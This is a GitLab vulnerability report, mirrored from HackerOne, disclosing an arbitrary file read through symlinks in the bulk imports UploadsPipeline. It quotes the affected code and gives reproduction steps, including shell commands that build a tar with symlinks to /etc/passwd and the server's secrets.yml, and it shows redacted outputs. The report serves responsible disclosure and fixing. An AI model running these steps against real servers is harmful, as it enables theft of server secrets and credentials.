Skip to content

Arbitrary file read via the bulk imports UploadsPipeline

HackerOne report #1439593 by vakzz on 2022-01-03:

Report | Attachments | How To Reproduce

Report

Summary

The bulk imports api does not remove symlinks when untaring the uploads.tar.gz file, allowing arbitrary files to be read and uploaded when importing a group.

When a group has uploads (such as markdown attachments), an uploads.tar.gz file will be downloaded and extracted in the UploadsPipeline:
https://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L15

       def extract(context)  
          download_service(tmp_dir, context).execute  
          untar_zxf(archive: File.join(tmp_dir, FILENAME), dir: tmp_dir)  
          upload_file_paths = Dir.glob(File.join(tmp_dir, '**', '*'))

          BulkImports::Pipeline::ExtractedData.new(data: upload_file_paths)  
        end  

Since untar_zxf only changes the permissions, any symlinks that are extracted from the tar will remain and be added to the list of file paths. When load is called, the symlinks will be followed and used as the content for the new file:

https://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L23

        def load(context, file_path)  
          avatar_path = AVATAR_PATTERN.match(file_path)

          return save_avatar(file_path) if avatar_path

          dynamic_path = file_uploader.extract_dynamic_path(file_path)

          return unless dynamic_path  
          return if File.directory?(file_path)

          named_captures = dynamic_path.named_captures.symbolize_keys

          UploadService.new(context.portable, File.open(file_path, 'r'), file_uploader, **named_captures).execute  
        end  

This can be used to read any file that the git user has read access to such as secrets.yml or other sensitive files.

Steps to reproduce
  1. Create a new group on gitlab.com

  2. Create a new milestone and upload a file passwd with any content into the description

  3. Make note of the upload secret (the 32 byte hash in the path)

  4. Run the following commands to make a tar file, using the hash from above

    mkdir ./d3209c811fee407218bff7cb3b4333e6  
    ln -s /etc/passwd ./d3209c811fee407218bff7cb3b4333e6/passwd  
    ln -s /srv/gitlab/config/secrets.yml ./d3209c811fee407218bff7cb3b4333e6/secrets.yml  
    tar cvzf uploads.tar.gz ./d3209c811fee407218bff7cb3b4333e6  
  5. Save the following simple proxy server as api.py and run it with FLASK_APP=api flask run, this will replace the uploads.tar.gz with a custom one: api.py

  6. Start ngrok so that it's externally accessible: ngrok http 5000

  7. Create a new access token at https://gitlab.com/-/profile/personal_access_tokens

  8. Create a new group, this time choose import group

  9. Enter the https ngrok url and the token you just created

  10. Select the group you initially created and choose a new name

  11. Once the import has complete, view the milestone and click the passwd link

  12. You will see the passwd file from the gitlab server

  13. Copy the link and change passwd to secrets.yml and you should be able to download the secrets file

Impact

A user with access to import a group on gitlab can read arbitrary files on the gitlab server

Examples

Example with passwd and secrets.yml attached:
https://gitlab.com/groups/group_to_import_1/-/milestones/1
https://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/passwd
https://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/secrets.yml

What is the current bug behavior?

Symlinks are not removed or filtered when the UploadsPipeline is run for the bulk imports api

What is the expected correct behavior?

Symlinks should be removed similar to the project import

Relevant logs and/or screenshots

/etc/passwd file:

root:x:0:0:root:/root:/bin/bash  
[REDACTED]

/srv/gitlab/config/secrets.yml file:

production:  
  secret_key_base: [REDACTED]  
  otp_key_base: [REDACTED]  
  db_key_base: [REDACTED]  
  openid_connect_signing_key: |  
    -----BEGIN RSA PRIVATE KEY-----  
    [REDACTED] 
    -----END RSA PRIVATE KEY-----  
  ci_jwt_signing_key: |  
    -----BEGIN RSA PRIVATE KEY-----  
    [REDACTED]  
    -----END RSA PRIVATE KEY-----
Output of checks

This bug happens on GitLab.com

Impact

A user with access to import a group on gitlab can read arbitrary files on the gitlab server

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

Edited by Nick Malcolm